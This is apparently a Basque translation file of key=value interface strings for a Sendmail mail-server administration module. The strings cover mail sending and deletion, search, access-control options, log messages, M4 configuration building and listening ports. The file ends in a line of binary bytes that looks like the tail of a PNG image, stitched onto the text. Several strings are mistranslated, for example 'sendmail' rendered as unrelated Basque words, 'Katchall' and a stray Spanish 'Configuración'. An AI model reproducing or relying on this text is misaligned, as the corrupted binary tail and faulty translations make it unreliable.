send_ecannot=Erabiltzaile gisa ezin duzu posta elektronikoz bidali
send_esmtp=$1 SMTP komandoak huts egin du : $2 
send_efile=$1 fitxategi erantsia ez da existitzen
send_eattach=Eranskinetan ezin dira $1 kB-ko neurria baino gehiago izan.
send_eperms=$1 erabiltzaileak ezin du $2 irakurri
send_eperms2=Ezin duzu $1 fitxategia bidali
send_epath=Sendmail $1 exekutagarria ez da existitzen.

delete_title=Ezabatu Posta
delete_rusure=Ziur $1 hautatutako mezuak $2 ezabatu nahi duzula? Baliteke denbora pixka bat igortzea posta elektronikoko fitxategi handi baterako. Ezabatzea amaitu arte, ez da beste ekintzarik egin behar.
delete_rusure2=Ziur mezu hau $1 etik ezabatu nahi duzula? Baliteke denbora pixka bat igortzea posta elektronikoko fitxategi handi baterako. Ezabatzea amaitu arte, ez da beste ekintzarik egin behar.
delete_ok=Ezabatu orain
delete_ecannot=Erabiltzaile honi posta elektronikoa ezabatzeko baimena duzu orain
delete_enone=Ez da posta elektronikoa hautatu ezabatzeko
delete_emnone=Ez da markarik hautatu markatzeko
delete_efnone=Ez da bidali posta elektronikoz birbidaltzeko
delete_emoveuser=Erabiltzailea ez dago posta elektronikora eramateko
delete_emovecannot=Ezin duzu mezuak zehaztutako erabiltzailera eraman
delete_emovenone=Ez da posta aukeratu hautatuta mugitzeko
delete_nobutton=Ez da botoia sakatu

search_title=Bilaketaren emaitzak
search_ecannot=Ez duzu baimenik erabiltzaile honen mezu elektronikoa bilatzeko
search_ematch=Testua sartu behar duzu aurka egiteko.
search_efield=Bilaketa mota bat aukeratu behar duzu.
search_ewhat=Ez da idatzitako $1 errenkadaren aurka sartzeko testurik
search_enone=Ez da bilaketa irizpiderik sartu
search_none=Ez da mezuik aurkitu.
search_results2=$1 mezuak $2 bat datozen.
search_results3=$1 mezuak $2 ez datozen mezuak.
search_results4=Zure $1 mezu elektronikoen mezuak.
search_local=Tokiko karpetetan
search_all=Karpeta guztietan
search_eboolean=Ez dira onartzen boolear bilaketak 'eta' eta 'edo' erabiliz

file_title=Editatu Sendmail fitxategia
file_desc=Erabili beheko testu koadroa $1 Sendmail fitxategia eskuz editatzeko.
file_undo=Aldaketak desegin
file_edit=$1 eskuz editatu
file_ealiases=Ezizenen fitxategi bat editatu alias guztietarako sarbidea baduzu.
file_evirtusers=Helbide-mapen fitxategia editatu ahal izango duzu helbide-mapaketa guztietarako sarbidea baduzu.
file_emailers=Ezin duzu domeinuaren bideratze fitxategia editatu.
file_egenerics=Irteerako helbideen fitxategia editatu dezakezu irteerako helbide guztietarako sarbidea baduzu.
file_edomains=Ezin duzu domeinuaren mapen fitxategia editatu.
file_eaccess=Ezin duzu spama kontrolatzeko fitxategia editatu.
file_ecannot=Ezin duzu fitxategi hau editatu
file_emode=Modu ezezaguna!
file_err=Ezin izan da fitxategia editatu
file_ealias=Formatu baliogabea aliases fitxategi-lerroarentzat : $1 
file_etab=Formatu baliogabea maparen fitxategiaren lerroarentzat : $1 

acl_opts=Sendmail aukerak editatu al ditzakezu?
acl_ports=Sareko portuak editatu ditzakezu?
acl_cws=Tokiko domeinuak edita ditzakezu?
acl_masq=Domeinuaren maskaratzea konfiguratu al dezakezu?
acl_trusts=Erabiltzaile fidagarriak editatu al ditzakezu?
acl_cgs=Editatu al daitezke irteerako domeinuak?
acl_relay=Editatu daitezke errelebo-domeinuak?
acl_mailers=Konfigura daiteke domeinuaren bideratzea?
acl_access=Spamaren kontrola konfiguratu al dezakezu?
acl_domains=Domeinuen mapa konfigura dezakezu?
acl_stop=Sendmailarekin hasi eta gelditu al daiteke?
acl_manual=Eskuz editatu ditzakezu fitxategiak?
acl_flushq=Mezu ilara isuri dezake?
acl_mailq=Kudeatu al dezakezu posta ilara?
acl_viewdel=Ikusi eta ezabatu
acl_view=Ikusi bakarrik
acl_vcatchall=Katchall mapak sor ditzakezu?
acl_qdoms=Helbideak ilaran ikusgai
acl_qdomsmode=Bat datozen ilarako helbidea
acl_qdomsmode0=Nondik: helbidea
acl_qdomsmode1=Helbidera
acl_qdomsmode2=Helbidea bai
acl_virtusers=Erabiltzaile honek edita ditzakezun helbide-mapak
acl_none=Bat ere ez
acl_same=Izen bereko erabiltzailea
acl_all=guztiak
acl_vsame=Erabiltzaile izenarekin @
acl_matching=Adierazpen erregularrarekin bat etortzea
acl_vtypes=Erabiltzaile honek editatu ditzakezun helbide-mapen motak
acl_vtype0=Itzulera errorea
acl_vtype1=Domeinura
acl_vtype2=Helbidera
acl_vmax=Helbide-mapen gehienezko kopurua
acl_unlimited=Mugarik gabe
acl_aliases=Erabiltzaile honek editatu dezake ezizena
acl_atypes=Erabiltzaile honek editatu dezakeen alias mota
acl_atype1=Posta elektroniko helbidea
acl_atype2=Helbideak fitxategian
acl_atype3=Idatzi fitxategian
acl_atype4=Programa elikatzeko
acl_atype5=Autoreply
acl_atype6=Iragazi fitxategia
acl_amax=Ezizenen gehienezko kopurua
acl_outgoing=Erabiltzaile honek editatzen dituen irteerako helbideak
acl_read=Erabiltzaileak zeinen posta elektronikoa irakur daiteke
acl_users=Erabiltzaileak bakarrik
acl_userse=Guztiak erabiltzaileak izan ezik
acl_usersg=Taldeko kideak
acl_from=Baimenduta helbideetatik
acl_any=Edozein helbide
acl_fdoms=Postontzia @ domeinuak
acl_faddrs=Zerrendatutako helbideak
acl_fdom=Edozein helbide @ domeinu
acl_fromname=Benetako izena From helbidetik
acl_apath=Mugatu fitxategiak eta programa direktoriora
acl_attach=Gehienezko eranskinen tamaina
acl_sent=Dendan bidali mezu elektronikoa postontzian
acl_canattach=Zerbitzari alboko fitxategiak erantsi al ditzake?
acl_boxname=Erakutsi postontziaren izena gisa
acl_boxname0=Fitxategi izena
acl_boxname1=Erabiltzailearen benetako izena
acl_boxname2=Ezer
acl_usersm=Erabiltzaileak bat datozenak
acl_asame=Erabiltzaile-izen bera
acl_usersu=UID barrutian
acl_spam=Erabiltzaile honek editatu dezakeen spam kontrol helbideak

log_opts=Sendmail aukerak aldatu dira
log_ports=Aldatu sareko portuak
log_alias_create=$1 ezizena sortu da
log_alias_modify=$1 ezizena aldatu
log_alias_delete=$1 alias ezabatu da
log_alias_manual=$1 alias fitxategia eskuz editatu du
log_cws=Tokiko domeinuak aldatu dira
log_masq=Aldatutako domeinuaren maskaratzea
log_trusts=Erabiltzaile fidagarriak aldatu dira
log_virtuser_create=$1 helbideen mapaketa sortu da
log_virtuser_modify=$1 helbideen aldaketa
log_virtuser_delete=$1 helbideen mapaketa ezabatu da
log_virtuser_manual=$1 helbideen mapping fitxategia eskuz editatua
log_mailer_create=$1 domeinuaren bideratzea sortu da
log_mailer_modify=$1 domeinuaren bideratze aldatua
log_mailer_delete=$1 domeinuaren bideratzea ezabatu da
log_mailer_manual=$1 domeinuaren bideratze fitxategia eskuz editatua
log_generic_create=$1 irteerako helbidea sortu da
log_generic_modify=$1 irteerako helbidea aldatua
log_generic_delete=$1 irteerako helbidea ezabatu da
log_generic_manual=$1 irteerako helbide fitxategia eskuz editatua
log_cgs=Aldatutako irteerako domeinuak
log_domain_create=$1 domeinuen kartografia sortu da
log_domain_modify=$1 domeinuaren mapa aldatua
log_domain_delete=$1 domeinuaren mapa ezabatu da
log_domain_manual=$1 domeinu-maparen fitxategia eskuz editatua
log_access_create=$1 spam spam kontrola sortu da
log_access_modify=$1 spam spam kontrola
log_access_delete=$1 spam-aren kontrola ezabatu da
log_access_manual=$1 spam kontrol-fitxategia eskuz editatua
log_relay=Aldatutako errele domeinuak
log_flushq=Posta ilarako ihesa
log_delmailq=Posta ezabatu da $1 etik ilaratik
log_delmailqs=$1 mezuak ezabatu dira ilaran
log_stop=Sendmail daemon geldituta
log_start=Sendmail daemon hasi da
log_delmail=$1 mezuak $2 ezabatu dira
log_movemail=$1 mezuak $2 tik $3 ra mugitu ziren
log_send=$1 (e) k bidali du posta
log_feature_create=$1 M4 sarrera gehitu da
log_feature_modify=$1 M4 sarrera aldatua
log_feature_delete=$1 M4 sarrera ezabatu da
log_feature_move=Mugitu da $1 sarrera M4
log_build=Sendmail-en konfigurazioa berreraiki
log_delete_aliases=$1 ezizenak ezabatu dira
log_delete_virtusers=$1 helbide-mapak ezabatu dira
log_delete_domains=$1 domeinuaren mapak ezabatu dira
log_delete_accesses=$1 spam kontrol sarrerak ezabatu dira
log_delete_generics=$1 irteerako helbideak ezabatu dira
log_delete_mailers=$1 domeinu bideak ezabatu dira

match_from=Noiztik: partiduak
match_subject=Gaia: partiduak
match_to=Nori: partiduak
match_cc=Cc: partiduak
match_date=Data: partiduak
match_status=Egoera-partidak
match_body=Gorputz partiduak
match_size=Neurria baino handiagoa da
match_headers=Goiburuekin bat
match_=-----------------
match_!from=Nori ez dator bat
match_!subject=Gaia: ez dator bat
match_!to=Norekin ez dator bat
match_!cc=CC: ez dator bat
match_!date=Data: ez dator bat
match_!status=Egoera ez dator bat
match_!body=Gorputza ez dator
match_!size=Neurria baino txikiagoa da
match_!headers=Goiburuak ez datoz bat

features_title=Sendmail M4 konfigurazioa
features_desc=Orrialde honetan $1 Sendmail M4 konfigurazio fitxategiaren sarrera garrantzitsuak agertzen dira. Bertan $2 konfigurazio fitxategia eraiki da.
features_type=Sarrera mota
features_value=Line konfigurazio fitxategian
features_type0=Beste
features_type1=Feature
features_type2=Definitu
features_type3=Undefine
features_type4=Mailer
features_type5=OS mota
features_add=Gehitu motako sarrera berria:
features_build=Eraiki Sendmail-en konfigurazioa
features_buildmsg=Egin klik botoi honetan Sendmail konfigurazio fitxategia $1 eraikitzeko goian zerrendatutako M4 konfigurazio sarreretatik.
features_return=M4 konfigurazioa
features_emc=Sendmail M4 $2 konfigurazio fitxategia ez da zure sisteman aurkitu. Agian ez da instalatu (ohikoa da Sendmail-en paketatutako instalazioetarako), edo <a href='$1'>moduluaren konfigurazioa</a> okerra da.
features_efeatures=Sendmail M4 konfigurazio-oinarriaren $2 direktorioa ez da zure sisteman aurkitu edo ez da direktorio zuzena. Agian ez da instalatu (ohikoa da Sendmail-en paketatutako instalazioetarako), edo <a href='$1'>moduluaren konfigurazioa</a> okerra da.
features_econfig=Sendmail M4 oinarri direktorioaren eta M4 konfigurazio fitxategiaren kokapenak ez dira oraindik ezarri zure <a href='$1'>moduluaren konfigurazioan</a>. Sendmail iturritik instalatu baduzu, jatorrizko iturburu direktorioaren azpian egon beharko lukete.
features_move=Mugitu
features_manual=Editatu fitxategia eskuz

feature_add=Gehitu Konfigurazio Sarrera
feature_edit=Editatu Configuración sarrera
feature_header=M4 konfiguraziorako sarreren xehetasunak
feature_text=Konfigurazio lerroa
feature_feat=Feature
feature_values=parametroak
feature_def=Definizioaren izena
feature_defval=Balio
feature_defmode1=Ezarri ..
feature_defmode0=Undefine
feature_mailer=Posta bidaltzeko metodoa
feature_ostype=Sistema eragile mota
feature_old=Uneko konfigurazio lerroa
feature_err=Ezin izan da konfigurazio-sarrera gordetzea
feature_efeat=$1 funtzioa dagoeneko badago
feature_edef=$1 definizioa dagoeneko badago
feature_emailer=$1 posta-zerbitzua dagoeneko badago
feature_eostype=OS mota dagoeneko $1 gisa definitu da
feature_manual=Editatu M4 fitxategia
feature_mdesc=Orriak Sendmail M4 konfigurazio fitxategia $1 eskuz editatzeko aukera ematen du. Kontuz ibili, ez baita sinadura egiaztapenik egingo zure aldaketetan.

feat_access_db=Spama kontrolatzeko fitxategia
feat_virtusertable=Helbideen mapaketa
feat_mailertable=Domeinu bideratzea
feat_genericstable=Irteerako helbideak
feat_domaintable=Domeinu-mapak

mailer_local=Tokiko Unix entrega

build_title=Eraiki Sendmail-en konfigurazioa
build_em4=Sendmail konfigurazio fitxategia berreraikitzeko behar duzun $1 komandoa ez da zure sisteman aurkitu.
build_ebuild=Huts egin du konfigurazioa eraikitzerakoan : $1 
build_rusure=Ziur zaude Sendmail konfigurazio fitxategia $1 ordezkatu nahi duzula $2 tik eraikitako bertsio berri batekin?
build_rusure2=Kontuan izan Sendmail-en aldaketak egin badituzu Sendmail Aukerak orrialdean, konfigurazio fitxategia berriz eraikitzeak aldaketa horiek gainidazten dituela M4 fitxategian egin ez badira.
build_ok=Bai, ordezkatu orain
build_diff=Ondorengo aldaketak zure Sendmail konfigurazio fitxategian egingo dira.
build_nodiff=Zure sendmail konfigurazio fitxategia eguneratuta dago dagoeneko.

stop_err=Ezin izan da sendagunea gelditu
stop_ecannot=Ezin duzu sendmail-a gelditzea
stop_epid=Sendmailak ez dirudi exekutatzen ari denik
restart_epids=Ezin izan da bidali mezu elektronikorik
restart_ekill=Huts egin du sendatze-prozesuak seinaleztatzerakoan : $1 

start_err=Huts egin du sendmail-a abiaraztean
start_ecannot=Ezin duzu bidali mezu elektronikoa hastea

ports_title=Sareko portuak
ports_name=Portuaren izena
ports_addr=Helbidea entzun
ports_all=guztiak
ports_ip=IP
ports_family=protokoloa
ports_inet=IPv4
ports_inet6=IPv6
ports_port=Entzun portuan
ports_opts=Portuko aukerak
ports_mod_a=SMTP autentikazioa behar
ports_mod_b=Erabili interfaze bera irteerako mezu elektronikoetarako
ports_mod_c=Egin ostalariaren izena kanonifikatzea
ports_mod_f=Eskatu ostalari izena guztiz kualifikatua
ports_mod_h=Erabili interfazearen izena HELOn
ports_mod_C=Ez egin ostalariaren izena kanonifikatzeko
ports_mod_E=Ez utzi ETRN
ports_def1=Onartu posta elektronikoa 25. portuan eta helbide guztietan
ports_def0=Onartu posta elektronikoa beheko portuetan soilik ..
ports_err=Huts egin du sareko portuak gordetzean
ports_ecannot=Ezin duzu sareko portuak kudeatu
ports_ename=$1 portuko izen baliogabea
ports_eclash=Portuaren izena bikoiztu $1 errenkadan
ports_eaddress=IP helbide falta edo baliogabea $1 errenkadan
ports_eport=$1 errenkadan falta den portu zenbakia edo baliogabea
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`